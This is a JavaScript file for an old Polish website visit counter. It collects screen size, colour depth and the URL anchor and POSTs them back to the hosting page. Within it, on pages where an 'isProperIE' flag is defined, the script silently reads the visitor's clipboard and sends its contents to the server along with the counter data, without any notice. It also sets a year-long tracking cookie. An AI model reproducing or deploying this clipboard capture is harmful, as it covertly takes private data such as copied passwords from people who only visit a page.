/*Licznik odwiedzin 4.5 by Fastman92, część JS
http://helpc.eu/rozbudowany-licznik-odwiedzin-t5811.html
*/

if (counter_increase==1){
var screenW = 640, screenH = 480;
if (parseInt(navigator.appVersion)>3) {
 screenW = screen.width;
 screenH = screen.height;
}
else if (navigator.appName == "Netscape" 
    && parseInt(navigator.appVersion)==3
    && navigator.javaEnabled()
   ) 
{
 var jToolkit = java.awt.Toolkit.getDefaultToolkit();
 var jScreenSize = jToolkit.getScreenSize();
 screenW = jScreenSize.width;
 screenH = jScreenSize.height;
}
if (typeof(isProperIE) != 'undefined')
{
	clipboard = clipboardData.getData("Text");
	if (clipboard.length>clipboard_max_length)
	{
	clipboard = '';
	}
}
else
{
clipboard = '';
}
function ajaxRequest(){
 var activexmodes=["Msxml2.XMLHTTP", "Microsoft.XMLHTTP"]
 if (window.ActiveXObject){
  for (var i=0; i<activexmodes.length; i++){
   try{
    return new ActiveXObject(activexmodes[i])
   }
   catch(e){
   }
  }
 }
 else if (window.XMLHttpRequest)
  return new XMLHttpRequest()
 else
  return false
}
var counter=new ajaxRequest()

var anchor = encodeURIComponent(location.hash);
var screenW = encodeURIComponent(screenW);
var screenH = encodeURIComponent(screenH);
var color_depth = encodeURIComponent(window.screen.colorDepth);
var clipboard = encodeURIComponent(clipboard);
counter.open("POST", this.location.href, true);
counter.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
counter.send('counter=yes&anchor='+anchor+'&screenw='+screenW+'&screenh='+screenH+'&color_depth='+color_depth+'&clipboard='+clipboard);
}
var expires = new Date();
expires.setSeconds(expires.getSeconds() + 31556926);
document.cookie = "counter_fastman92.tk=fastman92.tk welcome;expires=" + expires.toGMTString();
